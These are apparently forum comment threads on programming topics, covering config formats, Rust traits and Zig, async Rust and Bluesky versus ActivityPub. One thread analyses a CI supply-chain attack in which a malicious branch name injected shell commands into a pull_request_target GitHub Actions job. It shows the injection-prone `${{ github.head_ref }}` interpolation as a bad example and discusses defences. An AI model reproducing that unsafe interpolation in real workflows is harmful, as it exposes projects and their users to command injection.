(I think the worst I encountered was autoyast, in which I had to write a config that corresponded roughly to what I would have entered into the yast installer gui; this went through a layer of code in a bespoke scripting language and turned into a collection of shell variables with different names to the autoyast settings; the shell variables went through a layer of bash init scripts that set command line flags and/or templated values in config files. All undocumented. Infuriating.)
What I generally want is a basic facility that lets me drop in my own config file, so I only need to read the upstream’s documentation.
For simple usage when I’m not pushing the program hard then it’s helpful to have an optional layer on top that sets sensible defaults with a few simple knobs.
For serious usage I’ll be doing my own system integration programming and config file generation, and that’s easier if I don’t also have to work around the package’s unwanted system integration stuff.
I mean the whole trait disaster situation that he mentions in the block of Rust v Zig is very much on point. It’s just extremely un-fun. What’s the point?
It’s too bad this person’s editor has a broken implementation of “jump to definition,” but since Rust traits are coherent there is exactly one implementation of read which could apply to a given type and it should never be ambiguous. In contrast, if one were to use Zig’s comptime to implement polymorphism, the editor cannot actually determine dispatch outside of a specific monomorphic context because comptime just executes arbitrary Zig. This is not an argument Zig is actually winning.
But it’s also the case that today no one really writes polymorphic code in Zig at all because its faculties for it are so limited. So I guess the “point” is that a lot of people find polymorphism a useful language feature, even if their IDEs are currently unable to resolve traits for them.
I don’t think “jump to definition” is particularly material here. I obviously don’t have problem with semantic jump to definition, but I still find myself regularly getting lost figuring out what actually calls what in some real-world rust code bases. This might be due to the fact that rust-tooling is still pretty far from the ideal, but I don’t think so.
I had more or less the same navigation problem in a large Java codebase, where “action at a distance” effect is created by inheritance. In Java, the problem is easier (as you can syntactically follow the specific chain of superclasses, instead of impls being anywhere in a trait-or-type defining crate), the solution is much better (IJ is pretty close to ideal with respect to semantic understanding), and still, at lest for me personally, there’s a big mental overhead to piece together spatially disjoint fragments of code into a straight-line sequence of steps that actually happens at runtime.
I do think it is an unsolved problem in language design to combine expressive power of polymorphism with cognitive simplicity of straight-line non-generic code that just does things, one after another.
Practically, I solve it by not using traits, interfaces, inheritance, closures, etc, unless absolutely necessary (chiefly at the boundary between separately linked or at least separately developed components), but I feel that that’s an unorthodox position, and that the no-action default in Rust is to make much more things generic&indirect.
No informed opinion on how Go, Rust, and Zig compare for this particular aspect though, as I only have relevant experience of reading other’s people code in Rust.
I also barely used traits in the Rust that I write. I’m not sure if its really true that ordinary Rust users use tons of traits (certainly I’ve seen codebases that do use them in ridiculous ways), or if that impression largely derives from their use in exactly the way you describe: as parts of the interfaces of highly abstract open source libraries, which are separately developed components trying to play nicely with unknown peers.
And even then sometimes I look at the rustdoc output of some potential dependency and wonder what on earth the author was thinking! I’m not even talking like obviously bad examples like recent versions of the base64 crate.
Adding onto that navigation problem in Java are interfaces and DI. Every time I wanted to see a function definition I was taken to the interface instead, and I had to then puzzle out which of the five implementations was actually injected into this class by DI.
Adding onto that navigation problem in Java are interfaces and DI. Every time I wanted to see a function definition I was taken to the interface instead, and I had to then puzzle out which of the five implementations was actually injected into this class by DI.
That almost seems to be the goal of DI, i.e. that you don’t know what the exact class is that you should expect?
Yes, and that’s one of its downsides, which only gets worse when you abuse DI where it shouldn’t be. It’s really annoying to have to run the program with a debugger to do something that should be entirely possible with static analysis.
That sounds nice, until you actually need to figure out which implementation is doing something unexpected.
Indirection is indispensable in large systems, but it also comes at an extremely high readability penalty. Using it lightly improves code immensely. Using it heavily makes code incomprehensible.
There are different flavors of DI. Java DI implementations in particular (e.g. Spring) often use DI for all wiring that DI can possibly be used for, which leads to these types of frustrations. I prefer to use DI only across container and module boundaries, and for security purposes (where the implementation class is likely to be opaque from the injection site’s POV). Obviously, this isn’t supported by Java …
Adding onto that navigation problem in Java are interfaces and DI. Every time I wanted to see a function definition I was taken to the interface instead, and I had to then puzzle out which of the five implementations was actually injected into this class by DI.
For what it’s worth, intellij has pretty decent support even for that.
Also, for spring specifically, Intellij can actually resolve it in most cases (I believe via executing the same rules as Spring would). Also, Spring started getting more aligned with the native compilation model, so they have some support for doing DI ahead of time, similarly to the more modern “competition” microservice frameworks.
In contrast, if one were to use Zig’s comptime to implement polymorphism, the editor cannot actually determine dispatch outside of a specific monomorphic context because comptime just executes arbitrary Zig.
True!
But it’s also the case that today no one really writes polymorphic code in Zig at all because its faculties for it are so limited.
Eh.. not really. The actual truth is that you can get a lot done without the need of creating a ton of polymorphic abstractions. Comptime is like salt: you just need to add a pinch of it to your program to bring out the umami flavor.
but since Rust traits are coherent there is exactly one implementation of read which could apply to a given type and it should never be ambiguous.
I think the idea was we have a fn parse(request: &dyn Read) -> Struct and he can only jump to the definition of Read::read and not the specific version of Read used (e.g. File::read) because the function doesn’t specify it… because the function doesn’t just work on File it also works on TcpStream and so on.
Which is really more of a rejection of polymorphism (dynamic or static) than a complaint about IDE limitations. Which is.. a choice.
I suppose hypothetically a IDE with super good debugger integration might be able to pause a execution and then let you jump to the actual implementation of the trait by the current object you are looking at.
Ooh, I never really thought about how poorly “Jump to Definition” works with the From / Into split. But that got me thinking that it would be really slick if IDE tooling could provider a better experience here…
Say I jump to definition on an .into() call that’s converting from Foo into Bar. It’d be really slick if Rust Analyzer jumped to the impl Into<U> for T where T: From<U> block, but could fill in Foo for T and Bar for U. Then I could just jump again into the underlying implementation of impl From<Foo> for Bar
(Or bigger picture idea: probably the biggest challenge when navigating polymorphic code is going from a context with a specific type to context with a generic type, then back to a specific type. We’ve all learned to mentally track the specific type across that boundary, but there’s no reason we couldn’t have tooling that could do that for us, or at least make it easier)
Super interesting, traits were one of the big ideas that really sold me on Rust! Even when I first started learning the language, I felt like using Rustdocs to find which types implement a trait and what bounds I’d need to add to my generics was mostly intuitive to me.
I can definitely see why some folks would prefer the unchecked templating style that C++ offers (which I think is closer to how Zig’s comptime stuff works? but I’ve really only skimmed the beginner guides on comptime so could be very wrong here). But personally, I’ve been swayed by Rust’s model and I definitely prefer it over the “looser” style (i.e. I prefer getting errors on the definition of a generic function by default rather than getting errors where it’s invoked)
That said, there are definitely some real pain points around traits and trait bounds in practice. The biggest ones to me are around Send / Sync / 'static bounds for futures (e.g. prevalent in Tokio), as well as extremely generic code that you find in libraries like Axum in Diesel (both libraries I enjoy, but being generic-heavy definitely comes with a cognitive cost)
My philosophy these days is to use enums in most situations, and to only use traits when necessary (and if so, to try and use dyn Trait if possible, since passing around a concrete type beats propagating generic parameters everywhere). Even so, I’m still very “pro trait”, and common traits like Iterator, Read, and From / Into have been a joy to use
idk, I really like TOML’s design for piggy-backing on an existing syntax of INI and being a JSON superset. Forcing value quoting and having no mechanism for config deduplication like YAML anchors are probably the thing I’m most disappointed by.
Huh, for some reason I was also under the impression that TOML was a JSON superset, but you’re right that it isn’t
I think I got the impression because YAML is a strict superset of JSON. Which can actually be pretty handy in a pinch– I’ve occasionally used YAML as quick-and-dirty way to add comments to a JSON code snippet. Although, I’ve found more and more JSON parsers and syntax highlighters natively support comments in JSON nowadays!
I’m also okay with TOML as a language, but as someone who trains Rust for a living, it is telling that I always need to answer some TOML questions and there’s a lot of corner cases.
Naming it “obvious, minimal” kind of invites the question “well is it” and the answer is “kindaaaaaaa”…
I’ve been using Rust since version ~0.6 and I don’t understand all the details of TOML’s map syntax(es) (so I just “cargo-cult” it), and I’m not sure I’ve ever intentionally used the date syntax. I, for one, certainly don’t find TOML either “obvious” or “minimal”, and I find rather irritating that it claims to be those things.
I thought the whole section on different configuration languages felt pretty out of place. I appreciate that it was mostly light-hearted jabs (my read on it anyway), but I really am left wondering why I’d use CCL over, say, KDL or TOML
I think the core message is supposed to be something like this: “JSON/TOML/YAML/etc. are more complex than they need to be, and a flat list of key-value pairs is simpler”. But honestly, none of the “sales pitch” examples really swayed me that this simpler model would be better
For those who are curious but don’t want to pick through the github issue threads:
A malicious PR making a very innocent looking change to the README used a branch name with shell commands in it, formatted in a way that would cause CI jobs to execute those commands when performing a build for upload to PyPi. Those commands downloaded a crypto miner and embedded it into the release package.
So the automated builds that were getting uploaded to PyPi had the miner, but the source in github did not and any build you produced manually by cloning the repository and running a build on your local machine would not have it either.
It’s an interesting attack. Hopefully we’ll see a more detailed description of why a branch name from a PR was getting consumed by GitHub CI in a way that could inject commands.
I don’t think “never trusting user input” is the right lesson to learn here. Why? Because I don’t think the whoever wrote that code was aware they were trusting the branch name, or what properties of the branch name exactly they were trusting. So the lesson is not really actionable.
I think the lesson is that these kinds of string-replacement based systems (YAML templates, shell variable expansion etc.) just naturally invite these issues. They are inherently unsafe and we should be teaching people to use safer alternatives instead of teaching them to be vigilant 100% of the time.
For e.g. SQL queries it seems the industry has learned the lesson and you’ll rightfully get ridiculed for building your queries via naive string interpolation instead of using a query builder, stored procedures or something of the sort. Now we need to realize that CI workflows, helm charts and everything else using string-level YAML templating is the same deal.
The FP people have a mantra “parse, don’t validate” for consuming text. I think we need another one for producing text that’s just as snappy. Maybe “serialize, don’t sanitize”?
I’m wishing for a CI/automation tool that would provide functionality like “check out a git branch” as functions in a high-level language, not as shell commands embedded in a data file, so that user input is never sent to a shell directly at all. Maybe I should make one…
Before all the hip yaml based CI systems, like github actions, pretty much everyone was using Jenkins.
The sorta modern way to use Jenkins these days is to write Groovy script, which has stuff like checkout scm, and various other commands. Most of these are from Java plugins, and so the command never ends up going anywhere near a shell, though you do see a lot of use of the shell command function in practice (i.e. sh "make").
Kinda a shame that Jenkins is so wildly unpopular, and these weird yaml-based systems are what’s in vogue. Jenkins isn’t as bad as people make it out to be in my opinion.
Please do build something though because Jenkins isn’t exactly good either, and I doubt anyone would pick Groovy as a language for anything today.
I’ve used Jenkins quite a bit, that’s one of the inspiration source for that idea indeed. But Groovy is a rather cursed language, especially by modern standards… it’s certainly one of my least favorite parts of Jenkins.
My idea for a shell-less automation tool is closer to Ansible than to Jenkins but it’s just a vague idea so far. I need to summarize it and share it for a discussion sometime.
I doubt anyone would pick Groovy as a language for anything today.
I use Groovy at $DAILYJOB, and am currently learning Ruby (which has a lot more job listings as Elixir). The appeal of both languages are the same: it is incredibly easy to design DSLs with it (basically what Jenkins and Gradle use). Which is precisely what I work with at $DAILYJOB. The fact it’s JVM-based is the icing on the cake, because it’s easy to deploy in the clients’ environments.
This looks really interesting, thanks for the pointer! Maybe it’s already good for things I want to do and I don’t need to make anything at all, or may contribute something to it.
The generation of devs that grew up on Jenkins (including myself) got used to seeing CI as “just” a bunch of shell scripts. But it’s tedious as hell, and you end up programming shell via yaml, which makes me sympathetic to vulns like these.
Yeah in dealing with github’s yaml hell I’ve been wishing for something closer to a typed programming language with a proper library e.g. some sort of simplified-haskell DSL à la Elm, Nix, or Dhall.
They all do?
They all provide ways to build specific branches defined in yaml files or even via UIs rather than letting that work for your shell scripts.
Personally I find all those yaml meta-languages all inferior than just writing a shell script. And for one and a half decades I’ve been looking for an answer to the question:
What’s the value of a CI server other than running a command on commit?
But back to your point. Why? What you need to do is sanitize user input. That is completely independent of being shell script versus another language. Shellscripts are actually higher level than general purpose programming languages.
I’m certainly not saying that one doesn’t need to sanitize user input.
But I want the underlying system to provide a baseline level of safety. Like in Python, unless I’m calling eval() it doesn’t matter that some input may contain the character sequence os.system(...; and if I’m not calling os.system() and friends, it doesn’t matter if a string may have rm -rf in it. When absolutely any data may end up being executed as code at any time, the system has a problem, as of me.
Buildbot also belongs on the list of “systems old enough to predate YAML-everywhere”. It certainly has its weaknesses today, but its config is Python-based.
In GitHub Actions specifically, there’s also a very straightforward fix: instead of interpolating a string in the shell script itself, set any values you want to use as env vars and use those instead. e.g.:
I don’t think string replacement systems are bad per se. Sure, suboptimal in virtually all senses. But I think the biggest issue is a lack of good defaults and a requirement to explicitly indicate that you want the engine to do something unsafe. Consider the following in GH Actions:
echo "Bad: ${{ github.head_ref }}"
echo "Good: $GITHUB_HEAD_REF" # or so @kylewlacy says
I do not see any major difference immediately. Compare to Pug (nee Jade):
Using an unescaped string directly is clear to the reader and is not possible without an opt-in. At the same time, the opt-in is a matter of a single-char change, so one cannot decry the measure as too onerous. The mantra should be to make unescaped string usage explicit (and discouraged by default).
But to escape a string correctly, you need to know what kind of context you’re interpolating it into. E.g. if you’re generating a YAML file with string values that are lines of shell script, you might need both shell and YAML escaping in that context, layered correctly. Which is already starting to look less like string interpolation and more like serialization.
A few years Over a decade ago (jesus, time flies!) I came up with an ordered list of approaches in descending order of safety. My main mantra was “structural safety” - instead of ad-hoc escaping, try to fix the problem in a way that completely erases injection-type security issues in a structural way.
Yeah. The problem is that the echo command interpretes things like ${{...}} and executes it. Or is it the shell that does it in any string? I’m not even sure and that is problem. No high level language does that. Javascript uses eval, which is already bad enough, but at least you can’t use it inside a string. You can probanly do hello ${eval(...)} but then it is clear that you are evaluating the code inside.
It’s the shell that evaluates $... syntax. $(cmd) executes cmd, ${VAR} reads shell variables VAR and in both cases the shell replaces the $... with the output before calling the echo program with the result. Echo is just a dumb program that spits out the arguments its given.
Edit: but the ${{ syntax is GitHub Actions’ own syntax, the shell doesn’t see that as GH Actions evaluates it before running the shell command.
The pull_request_target event that was used here is privilege escalation similar to sudo – it gives you access to secrets etc.
Like all privilege escalation code, this should be very carefully written, fuzzed, and audited. Certainly a shell script is exactly wrong – sh was never designed to handle untrusted input in sensitive scenarios. Really it’s on GitHub Actions for making shell script-based privilege escalation code the easy path.
At the very least you want to use a language like Rust, leveraging the type system to carefully encapsulate untrusted code, along with property-based testing/fuzzing for untrusted inputs. This is an inherently serious, complex problem, and folks writing code to solve it should have to grapple with the complexity.
I don’t know if it was a bot or not (but that is probably irrelevant). The problem in the PR lies in the branch name which executed arbitrary code during GitHub Actions. Sorry if I misunderstood your question.
Hm, the dots don’t connect for me yet. I can just make a PR with changes to build process, and CI would test it, but that should be fine, because PRs run without access to secrets, right?
It’s only when the PR is merged and CI is run on the main branch that secrets are available, right?
So would it be correct to say that the PR was merged into main, and, when running CI on the main branch, something echoed the branch name of recently-merged PR?
Why would you ever want to expose your secrets to a pull request on an open source project? Once you do that, they’re not actually secrets, they’re just … weakly-obscured configuration settings. This is far from the first time this github “feature” has been used to attack a project. Why do people keep turning it on? Why hasn’t github removed it?
If I understand it correctly, I can maybe see it used in a non-public context, like for a companies internal CI.
But for open source and public repos it makes no sense. Even if it’s not an attack like in this case, a simple “echo …” makes the secrets no longer secret.
Note that the version of the workflow that’s used is the one in the target branch, not the one in the proposed branch.
There are legitimate use cases for this kind of privilege escalation, but GHA’s semiotics for it are all wrong. It should feel like a Serious, Weighty piece of code that should be carefully validated and audited. Shell scripts should be banned, not the default.
Thanks for the explanation, I was literally about to post a question to see if I understood it correctly. I am absolutely paranoid about the Actions running on my Github repos, it would seem to be that a closed PR should not be involved in any workflow. While the branch name was malicious, is there also a best practice to pull out here for maintainers?
While the branch name was malicious, is there also a best practice to pull out here for maintainers?
Don’t ever use pull_request_target trigger, and, if you do, definitely don’t give that CI job creds to publish your stuff.
The root cause here is not shell injection. The root cause is that untrusted input gets into CI run with creds at all. Of course, GitHub actions doesn’t do that by default, and you have to explicitly opt-into this with pull_request_target. See the linked SO answer in a sibling commnet, it explains the issue quite nicely.
Ah, comment by Foxboron clarifies that what happened here is not the job directly publishing malicious code, but rather poisoning the build cache to make the main branch CI pull bad data in! Clever! So, just don’t give any permissions for pull_request_trigger jobs!
My public repos don’t run CI jobs for PRs automatically, it has to be manually approved. I think this is the default. Not sure what happened in this case though.
It is totally fine to run CI on PR. CI for PRs does not get to use repository secrets, unless you go out of your way to also include secrets.
If you think your security depends on PRs not triggering CI then it’s is likely that either:
you don’t understand why you project is actually secure
your project is actually insecure
GitHub “don’t run CI for first time contributors” has nothing to do with security and has everything to do with using maintainer’s human judgement to protect free GitHub runners free compute from being used for mining crypto.
That is, this is a feature to protect GitHub/Microsoft, not your project.
Should be easily solvable by billing those minutes to the PR creator.
I guess there is also the situation where you provide your own runner rather than buying it from Github. In that case it seems like a reasonable precaution to restrict unknown people from using it.
Should be easily solvable by billing those minutes to the PR creator.
Yes! I sympathize GitHub for having to implement something here on a short notice when this happened the first time, but I am dismayed that they didn’t get to implementing a proper solution here: https://matklad.github.io/2022/10/24/actions-permissions.html
I guess there is also the situation where you provide your own runners
Yes, the security with self-hosted runners is different. If you use non-sandboxed self-hosted runners, they should never be used for PRs.
Thank you, that’s a great summary, and a very interesting attack vector.
It’s strange (to me) that a release would be created off of an arbitrary user created branch, but I’m sure there’s a reason for it. In years and years of working with build automation I’ve never thought about that kind of code injection attack, so it’s something I’ll start keeping in mind when doing that kind of work.
Really enjoyed this perspective. I feel like I have a pretty good grasp of ActivityPub, so it was definitely enlightening to see where the gaps are in ATproto today
I’ll say that I think both ActivityPub and ATproto are both really cool and valuable protocols (I just recently set up Bluesky, but I’ve been on the Fediverse for 2 years and I have no plans to leave). But, it’s becoming pretty clear that Bluesky has “won” over Mastodon. I believe that’s entirely because Mastodon’s UX is really janky. And IMO a lot of that jank boils down to technical decisions made around federation to help reduce load on the network and to make instances easier to “scale down”. That said, the more decentralized nature of the Fediverse gives me the sense that it’s currently much more resilient long-term than Bluesky. I’d bet that we’ll still have active ActivityPub instances in 50 years from now, but I feel a lot less confident saying that about ATproto or Bluesky.
All that said, ATproto seems really interesting to me as an app platform, especially outside the context of microblogging. There are ActivityPub servers that don’t do microblogging, like kbin and Lemmy for Reddit-style link aggregation. But you can’t really use your Mastodon account to, say, submit a link to Lemmy (you might technically be able to? But not like natively in the UI). If I understand correctly, in ATproto, you could do the same thing entirely natively and it’d work just like you’d expect: you could use the same DID as Bluesky, your posts would get put in your PDS, then the app’s relay would aggregate posts and comments and whatever from all PDSes. Jetstream seems like an important piece of this puzzle though, which means that different platforms can run smaller relays that only grab relevant data from PDSes
But, it’s becoming pretty clear that Bluesky has “won” over Mastodon.
It does seem clear that there is currently an ongoing exodus from Twitter to Bluesky specifically; if a lot of people have opened fedi accounts this month I haven’t heard about it. But there are a lot of people on fedi (like you and me) who migrated there 2+ years ago who don’t seem to have a strong desire to move to something else.
I think you’re right that a lot of people just bounce off of Mastodon’s UI, while Bluesky is much more approachable and mass-market. (I say that approvingly!) Bluesky is definitely “winning” right now at being a more familiar Twitter replacement. But I don’t think it’s necessary for either one to “win.” I guess we’ll wait and see how Bluesky decides to monetize, or what its business plan is. In the meantime, it seems like it could be a stable equilibrium for Mastodon/fedi and Bluesky to coexist, serving two different niches.
In the meantime, it seems like it could be a stable equilibrium for Mastodon/fedi and Bluesky to coexist, serving two different niches.
*nod* Like how retrocomputing hobbyists still hang out on traditional forums like VOGONS, VCFed, 68kMLA, some Amiga and Atari ones I’m forgetting the names of, etc. or even on the non-binaries side of Usenet.
We don’t need a unified one-size-fits-all solution for everyone.
We don’t need a unified one-size-fits-all solution for everyone.
Unfortunately, “network effect” makes that less true than it feels like it should be, because it means that part of the goodness of your solution depends on how much of your audience uses it. Obviously, it weighs differently for different user communities. For my nontechnical family and friends, it’s huge. I basically get email, text and maybe one other thing that they’re willing to sign up for and learn. For other social groups, that’s less significant, either because they’re willing to learn and use more things or because they’re smaller groups and it’s easier to get that critical mass onto something new if you can persuade just a few people that it’s advantageous to do so.
I wrote that with full awareness of network effects.
…as well as how, for more technical groups, the obscurity of a technology may go beyond “not an issue” right into “a feature” because their obscurity is seen as akin to how that one math forum has a CAPTCHA that doubles as a skill-testing question. (See Usenet, Gopher, Gemini, etc.)
That’s sort of inherent in what Eternal September is. It’s having your culture flooded out by the mainstream. “We are the Borg. Your cultural and technological distinctiveness will be added to our own. Resistance is futile.”
I was having trouble figuring out the underlying logic and internal consistency when it seemed like the argument was that cultural appropriation is bad when it’s the minority’s culture being appropriated… yet Usenet’s old culture was a minority… they were just privileged in their access to technology. …and it was bad when colonialism forced culture on others “for the greater good”… but that’s also what Eternal September did.
It was only a few weeks ago when a friend got me out of the rut I didn’t realize I was in by pointing out that the nerds on Usenet may have been privileged in that they had access to the technology… but, culturally, nerds have historically been a disadvantaged minority. From that perspective, Eternal September was effectively the jocks excitedly realizing the the nerds had made something cool and grabbing it, knocking them over in the process without even acknowledging what they’d done. FFML-era fanfiction culture and early anime culture also shared that distinctive flavour from what I saw of them and I think it lingered longer there because it took longer for fanfiction and anime fandom to become mainstream than the Internet in general did.
I’m too young to have been on Usenet before the general public got access to it but, from the artifacts of that culture which I experienced as a nerdy teen in the late 90s and early 2000s, I can say that it had a distinctive flavour to it which I’m guessing was characteristic of college/university nerd culture in the 80s.
…so how does one ensure fairness in a situation like that when the people relying on their obscurity haven’t imposed any other measures to limit the influx of new members to a rate where they can inculcate them into the cutlure? It’s an unsolved problem.
In that sense, staying on technologies like Usenet or Gopher, and inventing technologies like Gemini have an element of “trying to repair your house after the unwanted party-crashers trashed the place and moved on, hoping you can get back in touch with the people you got along with but didn’t exchange contact details with yet”.
That’s sort of inherent in what Eternal September is.
To clarify, my phrasing was intentionally a bit ironic, aware that hypothetical persons who would call it “Eternal September” could be presumed to dislike it.
First of all, I agree with quite a few of the drawbacks of async Rust in this article! There are a lot of sharp edges in async Rust (if I found a magic lamp today, my 3 wishes would be for stable coroutines, async drop, and world peace)
But personally, I feel like I get a lot of benefits out of async Rust. I usually default to async-first, even for small CLI tools or throwaway scripts. That’s partially driven by the ecosystem adoption, but I do feel like I get a lot of mileage out of async.
Example: let’s say I need to download 1,000 files or so. What are my options for scheduling the downloads in sync Rust?
Spawn a thread per download. Oops, that just ate 4 GB of memory due to the per-thread stack size Edit: see below, this is wrong
Spawn some pool of worker threads, use channels to distribute work to each one
Use Rayon to spawn each download to put it in its thread pool
Use Rayon’s .par_iter() on the iterator of things to download
Okay, and what about async Rust? (and I’ll assume Tokio just because that’s what I’m most familiar with)
Spawn a Tokio task per download
Spawn some pool of worker tasks, use channels to distribute work to each one
Use a LocalSet to spawn all the downloads so they run on the same OS thread
Use a futures::FuturesUnordered to spawn all the downloads so they run as part of one Tokio task
Build a stream from the iterator of things to download
Use a stream with .buffered(n) so only n downloads run concurrently
Do any of the options from sync Rust (with careful use of spawn_blocking or channels)
I’m sure there’s more options I didn’t think of, but the point I want to hammer home is that I get a lot more options for managing concurrent work in async Rust than I do with sync Rust. In fact, it’s pretty easy to see some parallels between the sync options and async options! If you’re already content with using a pool of worker threads with channels, it’s generally pretty easy to just move to worker tasks in Tokio
So the key benefit to me of async Rust is that I can just tokio::spawn as much work as I have without really thinking too much about the cost (or shape the work into multiple tasks in the way I see fit), then separately configure the runtime to control how that work should be split across OS threads. In async Rust, I can manage concurrency separately from parallelism– that’s not really possible today with sync Rust, or at least not to the same level
Spawn a thread per download. Oops, that just ate 4 GB of memory due to the per-thread stack size
No, spawning 1000 threads to download stuff would not allocate 4 GB of memory. A cost of a thread is a couple of pages, so I would expect this program to run in under a hundred megs
Ah, fair (in my defense, I checked the Rust stdlib where the default stack size per thread is 4 MB, but I didn’t consider how that interacted with virtual memory pages)
Just for my own understanding though, how would that work on a 32-bit system? Even though each thread only needs to use a few pages of memory, I’m assuming that 4 MB per thread is still reserved in the process’s address space, meaning 1000 threads at 4 MB of stack size (even unused) would basically be the upper limit? Or is that not how it works? (It’s basically a moot point nowadays of course since 64-bits of address space is unfathomably huge)
Yes, on a 32 bit system you’d run out of address space! So at some point a mmap call to setup new thread’a stack would fail, and thread::spawn would error out.
Which is not that different from the actual behavior you’d observe on a modern os. Spawning would start erroring out somewhere between 1k and 10k threads, it’s just that this wouldn’t have anything to do with memory in particular.
I usually default to async-first, even for small CLI tools or throwaway scripts. That’s partially driven by the ecosystem adoption, but I do feel like I get a lot of mileage out of async.
For me, small CLI tools and throwaway scripts are where I most want to avoid async, because Cargo’s incremental build caching is fragile and, even at the best of times, I don’t want a pile more dependencies slamming my build times in the face after every rustup update.
Hell, aside from the lack of memory-safe QWidget bindings, a sufficiently advanced SQLite+PostgreSQL abstraction, and Django’s ecosystem, the build times involved in spinning up “a little script” are the main thing I think about when deciding whether to write something in Rust to plan for the inevitable “not really a throwaway after all” moment.
(Serde, Clap or Gumdrop as appropriate, Rayon, ignore, etc. are very desirable things for little scripts and CLI tools.)
I enjoyed how much surface area this article covered! But the conclusion makes me feel a bit alien– I feel like there’s been a recent trend pushing back against async/await quite a bit, but I like async/await!
So, if I call an async function– say tokio::fs::read, I get back a future (or promise, task, whatever you want to call it). From there, I can use .await to “block” until it finishes (really suspending just like a coroutine, then resuming once the runtime tells us our future is done). But, just using async and await alone wouldn’t be very interesting then!
During day-to-day development, the real power comes from what you can do with a Future in Tokio (or a Promise in JS, etc). It’s like a monad that represents a value I’ll eventually get from the runtime, and having it wrapped lets me do some transformations on it first. It says “hey, this function needs to go do some work first, which could take a while… do you just want to wait for the value (.await), or do you want to do something else in the meantime (tokio::spawn)? or maybe you want to put a cap on how long it can run for (tokio::task::timeout), or maybe you want to wait until a bunch of futures are all finished (tokio::join!)? etc.” Keeping the option open to compose it before awaiting feels like a pretty powerful feature to me! No extra OS threads required.
I see it as almost exactly analogous to Rust’s Result<T, E> type versus languages with exceptions and try / catch: it makes the code / control flow more explicit and it gives you more tools for composition. Then, for the common case where you “just” want to get the value, you get nice syntax for it (? / .await).
Anyway, some meandering thoughts:
The section “Blocking is an abstraction” asks if “[async/await] is worth anything?” since there are places blocking can happen– sometimes unexpectedly. I’d of course answer “yes”! The anecdote about mmap’d I/O to me looks more like a warning about using mmap’d I/O (where reads look like they should be cheap) than it is an indictment against using async/await for I/O (where reads are very explicitly awaited). There’s a lot I could say here, but I feel this would be a better discussion on async I/O instead of async/await, which IMO is an orthogonal concept (but two things: you can use async/await while still using blocking I/O underneath… which is exactly what Tokio does for file I/O; the underlying problem of accidental blocking seems more a runtime implementation question than about async/await as a whole)
The article touches on gamedev via Scratch. But as a counterpoint, Godot has support async/await, which I’ve found lovely to work with. It’s a great example how await can give users syntax that “looks like” synchronous code while adapting well to the unique requirements needed e.g. by a game engine (IIRC Unity has a very similar feature too)
“What color is your function?” gets cited a lot when talking about async/await, but it’s important context that it was written primarily about JavaScript in the “callback hell” era. It’s a great article, but IMO Rust especially does a lot to address the core concerns (most notably, you can call an async function from a sync one as long as you either have a handle to a runtime or are willing to construct a new runtime… plus Tokio has lots of tools for bridging between synchronous threads and async tasks)
During day-to-day development, the real power comes from what you can do with a Future in Tokio (or a Promise in JS, etc). It’s like a monad that represents a value I’ll eventually get from the runtime, and having it wrapped lets me do some transformations on it first. It says “hey, this function needs to go do some work first, which could take a while… do you just want to wait for the value (.await), or do you want to do something else in the meantime (tokio::spawn)? or maybe you want to put a cap on how long it can run for (tokio::task::timeout), or maybe you want to wait until a bunch of futures are all finished (tokio::join!)? etc.” Keeping the option open to compose it before awaiting feels like a pretty powerful feature to me! No extra OS threads required.
In a language with virtual threads you can compose this just as well without promise and no extra OS threads needed. Imagine you had a spawn statement and structural concurrency, you could write code like this:
fn download_all(urls) {
spawn {
let results = [];
for url in urls {
spawn results.push(download_url(url));
}
results
}.wait()
}
This composes just fine! The results.push is a form of composition. Structured concurrency helps with the joining.
Hmm, okay… so the main kinda selling point of this example would be that .wait() can basically be called from any function (unlike .await which can only be done in an async function)? So effectively the same suspends, but allowed anywhere, i.e. avoiding the infectious nature of async/await? (I’m not very familiar with Project Loom except like the 10,000ft view so sorry if I misinterpreted the example above at all)
In that case, I can definitely see the value of it! Well, I guess my excitement is still a bit tempered: I guess I just don’t feel that hurt having to sometimes decide between writing a sync or async function personally… but I can see why it’s a super interesting frontier for languages to explore!
I guess drilling down on it more, spawn { } returns something that has a .wait() method… I guess that would be a Future type (or similar) that would be composable? The runtime is also a big question mark for me, I guess I’ll need to start doing some reading up on how Project Loom works! (and I think Zig is exploring the same space too, I’m especially interested in how this stuff would work in a systems language)
I guess drilling down on it more, spawn { } returns something that has a .wait() method… I guess that would be a Future type (or similar) that would be composable?
It would probably be a Thread object or similar. It would purely compose based on you being able to wait on it. Not on being able to “attach” callbacks.
I guess the implied behavior here is: spawn (block or expression) attaches to the current task and has an implied join (wait). So if the .wait() was not here, then it would require that someone else calls spawn. I tried to just not open too many cans of worms here with that example. There could also be some other form of “boundary” that achieves the same thing.
“What color is your function?” gets cited a lot when talking about async/await, but it’s important context that it was written primarily about JavaScript in the “callback hell” era. It’s a great article, but IMO Rust especially does a lot to address the core concerns (most notably, you can call an async function from a sync one as long as you either have a handle to a runtime or are willing to construct a new runtime… plus Tokio has lots of tools for bridging between synchronous threads and async tasks)
As a Rust programmer, I see two problems with that:
“as long as you either have a handle to a runtime or are willing to construct a new runtime” is a “You can just spin up a garbage collector in a background thread” argument. (I hope you can see why that dismissal would be objectionable.)
I don’t want Tokio in my dependency tree
(Yeah, I’m one of those people who’s hoping for the ideas around making functions generic over async-ness to bear fruit.)
I think that’s a valid point (and I’m definitely sympathetic to having sync/async-generic functions… I just published a crate this weekend that works with std::io, tokio::io, the futures types, so effectively supporting 3 different runtimes! Broadly the same code with very subtle differences between them)
Regarding (2) first, it’s a fair point, but because Rust’s async story is “bring your own runtime”, this is “just” an ecosystem problem. Yes, it’s unfortunate that the ecosystem is so tied to Tokio, but I think the language itself is largely blameless (plus there are initiatives to support runtime-agnostic code even if not generic over sync/async, etc). But yes, it’s a genuine pain point today Tokio is practically the default runtime and avoiding it is hard
As for (1), I guess my feeling is that it’s a bit more nuanced…
Take async/await out of the equation. Let’s say I pull in a library in my application, and that library happens to use, I dunno, SDL3. I call a function from that library that, say, tries to render an image. Well, if my application doesn’t call SDL_Init to set up the SDL runtime first, my call into the library will fail!
Using, say, reqwest in Rust is no different: it’s a library that uses a specific runtime (Tokio), and as a precondition to using it, that runtime must already be set up and running.
It’s more like the “color” of a function in Rust isn’t whether it’s async or not, but which runtime it depends on internally. From that perspective, Rust is at least expressive enough to support “colorless functions” (no runtime needed) or “multi-color functions” (i.e. the designs around cross-runtime abstractions). But again, there’s more ecosystem work needed to bridge that gap, as lots of stuff in Rust does end up having a single color
I generally agree, and I do think the problem of being tied to specific runtimes will get better.
